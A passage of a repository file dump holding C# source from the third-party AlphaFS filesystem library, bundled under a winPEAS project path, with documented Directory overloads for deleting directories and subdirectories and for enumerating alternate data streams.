<c>false</c> otherwise.</param>\n      [SecurityCritical]\n      public static void Delete(string path, bool recursive)\n      {\n         DeleteDirectoryCore(null, null, path, recursive, false, false, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Deletes an empty directory from a specified path.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <param name=\"path\">The name of the empty directory to remove. This directory must be writable and empty.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void Delete(string path, PathFormat pathFormat)\n      {\n         DeleteDirectoryCore(null, null, path, false, false, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes the specified directory and, if indicated, any subdirectories in the directory.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <param name=\"path\">The name of the directory to remove.</param>\n      /// <param name=\"recursive\"><c>true</c> to remove directories, subdirectories, and files in <paramref name=\"path\"/>. <c>false</c> otherwise.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void Delete(string path, bool recursive, PathFormat pathFormat)\n      {\n         DeleteDirectoryCore(null, null, path, recursive, false, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes the specified directory and, if indicated, any subdirectories in the directory.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <param name=\"path\">The name of the directory to remove.</param>\n      /// <param name=\"recursive\"><c>true</c> to remove directories, subdirectories, and files in <paramref name=\"path\"/>. <c>false</c> otherwise.</param>\n      /// <param name=\"ignoreReadOnly\"><c>true</c> overrides read only <see cref=\"FileAttributes\"/> of files and directories.</param>\n      [SecurityCritical]\n      public static void Delete(string path, bool recursive, bool ignoreReadOnly)\n      {\n         DeleteDirectoryCore(null, null, path, recursive, ignoreReadOnly, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes the specified directory and, if indicated, any subdirectories in the directory.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <param name=\"path\">The name of the directory to remove.</param>\n      /// <param name=\"recursive\"><c>true</c> to remove directories, subdirectories, and files in <paramref name=\"path\"/>. <c>false</c> otherwise.</param>\n      /// <param name=\"ignoreReadOnly\"><c>true</c> overrides read only <see cref=\"FileAttributes\"/> of files and directories.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void Delete(string path, bool recursive, bool ignoreReadOnly, PathFormat pathFormat)\n      {\n         DeleteDirectoryCore(null, null, path, recursive, ignoreReadOnly, false, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.DeleteEmptySubdirectories.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Deletes empty subdirectories from the specified directory.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <param name=\"path\">The name of the directory to remove empty subdirectories from.</param>\n      [SecurityCritical]\n      public static void DeleteEmptySubdirectories(string path)\n      {\n         DeleteEmptySubdirectoriesCore(null, null, path, false, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes empty subdirectories from the specified directory.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <param name=\"path\">The name of the directory to remove empty subdirectories from.</param>\n      /// <param name=\"recursive\"><c>true</c> deletes empty subdirectories from this directory and its subdirectories.</param>\n      [SecurityCritical]\n      public static void DeleteEmptySubdirectories(string path, bool recursive)\n      {\n         DeleteEmptySubdirectoriesCore(null, null, path, recursive, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes empty subdirectories from the specified directory.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <param name=\"path\">The name of the directory to remove empty subdirectories from.</param>\n      /// <param name=\"recursive\"><c>true</c> deletes empty subdirectories from this directory and its subdirectories.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void DeleteEmptySubdirectories(string path, bool recursive, PathFormat pathFormat)\n      {\n         DeleteEmptySubdirectoriesCore(null, null, path, recursive, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes empty subdirectories from the specified directory.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <param name=\"path\">The name of the directory to remove empty subdirectories from.</param>\n      /// <param name=\"recursive\"><c>true</c> deletes empty subdirectories from this directory and its subdirectories.</param>\n      /// <param name=\"ignoreReadOnly\"><c>true</c> overrides read only <see cref=\"FileAttributes\"/> of empty directories.</param>\n      [SecurityCritical]\n      public static void DeleteEmptySubdirectories(string path, bool recursive, bool ignoreReadOnly)\n      {\n         DeleteEmptySubdirectoriesCore(null, null, path, recursive, ignoreReadOnly, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes empty subdirectories from the specified directory.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <param name=\"path\">The name of the directory to remove empty subdirectories from.</param>\n      /// <param name=\"recursive\"><c>true</c> deletes empty subdirectories from this directory and its subdirectories.</param>\n      /// <param name=\"ignoreReadOnly\"><c>true</c> overrides read only <see cref=\"FileAttributes\"/> of empty directories.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void DeleteEmptySubdirectories(string path, bool recursive, bool ignoreReadOnly, PathFormat pathFormat)\n      {\n         DeleteEmptySubdirectoriesCore(null, null, path, recursive, ignoreReadOnly, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.DeleteEmptySubdirectoriesTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Deletes empty subdirectories from the specified directory.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The name of the directory to remove empty subdirectories from.</param>\n      [SecurityCritical]\n      public static void DeleteEmptySubdirectoriesTransacted(KernelTransaction transaction, string path)\n      {\n         DeleteEmptySubdirectoriesCore(null, transaction, path, false, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes empty subdirectories from the specified directory.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The name of the directory to remove empty subdirectories from.</param>\n      /// <param name=\"recursive\"><c>true</c> deletes empty subdirectories from this directory and its subdirectories.</param>\n      [SecurityCritical]\n      public static void DeleteEmptySubdirectoriesTransacted(KernelTransaction transaction, string path, bool recursive)\n      {\n         DeleteEmptySubdirectoriesCore(null, transaction, path, recursive, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes empty subdirectories from the specified directory.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The name of the directory to remove empty subdirectories from.</param>\n      /// <param name=\"recursive\"><c>true</c> deletes empty subdirectories from this directory and its subdirectories.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void DeleteEmptySubdirectoriesTransacted(KernelTransaction transaction, string path, bool recursive, PathFormat pathFormat)\n      {\n         DeleteEmptySubdirectoriesCore(null, transaction, path, recursive, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes empty subdirectories from the specified directory.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The name of the directory to remove empty subdirectories from.</param>\n      /// <param name=\"recursive\"><c>true</c> deletes empty subdirectories from this directory and its subdirectories.</param>\n      /// <param name=\"ignoreReadOnly\"><c>true</c> overrides read only <see cref=\"FileAttributes\"/> of empty directories.</param>\n      [SecurityCritical]\n      public static void DeleteEmptySubdirectoriesTransacted(KernelTransaction transaction, string path, bool recursive, bool ignoreReadOnly)\n      {\n         DeleteEmptySubdirectoriesCore(null, transaction, path, recursive, ignoreReadOnly, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes empty subdirectories from the specified directory.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The name of the directory to remove empty subdirectories from.</param>\n      /// <param name=\"recursive\"><c>true</c> deletes empty subdirectories from this directory and its subdirectories.</param>\n      /// <param name=\"ignoreReadOnly\"><c>true</c> overrides read only <see cref=\"FileAttributes\"/> of empty directories.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void DeleteEmptySubdirectoriesTransacted(KernelTransaction transaction, string path, bool recursive, bool ignoreReadOnly, PathFormat pathFormat)\n      {\n         DeleteEmptySubdirectoriesCore(null, transaction, path, recursive, ignoreReadOnly, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.DeleteTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Deletes an empty directory from a specified path.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The name of the empty directory to remove. This directory must be writable and empty.</param>\n      [SecurityCritical]\n      public static void DeleteTransacted(KernelTransaction transaction, string path)\n      {\n         DeleteDirectoryCore(transaction, null, path, false, false, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes an empty directory from a specified path.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The name of the empty directory to remove. This directory must be writable and empty.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void DeleteTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         DeleteDirectoryCore(transaction, null, path, false, false, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes the specified directory and, if indicated, any subdirectories in the directory.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The name of the directory to remove.</param>\n      /// <param name=\"recursive\"><c>true</c> to remove directories, subdirectories, and files in <paramref name=\"path\"/>. <c>false</c> otherwise.</param>\n      [SecurityCritical]\n      public static void DeleteTransacted(KernelTransaction transaction, string path, bool recursive)\n      {\n         DeleteDirectoryCore(transaction, null, path, recursive, false, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes the specified directory and, if indicated, any subdirectories in the directory.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The name of the directory to remove.</param>\n      /// <param name=\"recursive\"><c>true</c> to remove directories, subdirectories, and files in <paramref name=\"path\"/>. <c>false</c> otherwise.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void DeleteTransacted(KernelTransaction transaction, string path, bool recursive, PathFormat pathFormat)\n      {\n         DeleteDirectoryCore(transaction, null, path, recursive, false, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes the specified directory and, if indicated, any subdirectories in the directory.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The name of the directory to remove.</param>\n      /// <param name=\"recursive\"><c>true</c> to remove directories, subdirectories, and files in <paramref name=\"path\"/>. <c>false</c> otherwise.</param>\n      /// <param name=\"ignoreReadOnly\"><c>true</c> overrides read only <see cref=\"FileAttributes\"/> of files and directories.</param>\n      [SecurityCritical]\n      public static void DeleteTransacted(KernelTransaction transaction, string path, bool recursive, bool ignoreReadOnly)\n      {\n         DeleteDirectoryCore(transaction, null, path, recursive, ignoreReadOnly, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes the specified directory and, if indicated, any subdirectories in the directory.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The name of the directory to remove.</param>\n      /// <param name=\"recursive\"><c>true</c> to remove directories, subdirectories, and files in <paramref name=\"path\"/>. <c>false</c> otherwise.</param>\n      /// <param name=\"ignoreReadOnly\"><c>true</c> overrides read only <see cref=\"FileAttributes\"/> of files and directories.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void DeleteTransacted(KernelTransaction transaction, string path, bool recursive, bool ignoreReadOnly, PathFormat pathFormat)\n      {\n         DeleteDirectoryCore(transaction, null, path, recursive, ignoreReadOnly, false, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.EnumerateAlternateDataStreams.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Collections.Generic;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Enumerates the streams of type :$DATA from the specified directory.</summary>\n      /// <param name=\"path\">The path to the directory to enumerate streams of.</param>\n      /// <returns>The streams of type :$DATA in the specified directory.</returns>\n      [SecurityCritical]\n      public static IEnumerable<AlternateDataStreamInfo> EnumerateAlternateDataStreams(string path)\n      {\n         return File.EnumerateAlternateDataStreamsCore(null, true, path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Enumerates the streams of type :$DATA from the specified directory.</summary>\n      /// <param name=\"path\">The path to the directory to enumerate streams of.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>The streams of type :$DATA in the specified directory.</returns>\n      [SecurityCritical]\n      public static IEnumerable<AlternateDataStreamInfo> EnumerateAlternateDataStreams(string path, PathFormat pathFormat)\n      {\n         return File.EnumerateAlternateDataStreamsCore(null, true, path, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.EnumerateAlternateDataStreamsTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Collections.Generic;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Enumerates the streams of type :$DATA from the specified directory.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the directory to enumerate streams of.</param>\n      /// <returns>The streams of type :$DATA in the specified directory.</returns>\n      [SecurityCritical]\n      public static IEnumerable<AlternateDataStreamInfo> EnumerateAlternateDataStreamsTransacted(KernelTransaction transaction, string path)\n      {\n         return File.EnumerateAlternateDataStreamsCore(transaction, true, path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Enumerates the streams of type :$DATA from the specified directory.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the directory to enumerate streams of.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>The streams of type :$DATA in the specified directory.</returns>\n      [SecurityCritical]\n      public static IEnumerable<AlternateDataStreamInfo> EnumerateAlternateDataStreamsTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return File.EnumerateAlternateDataStreamsCore(transaction, true, path, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.EnumerateDirectories.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Security;\nusing SearchOption = System.IO.SearchOption;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      #region .NET\n\n      /// <summary>Returns an enumerable collection of directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception 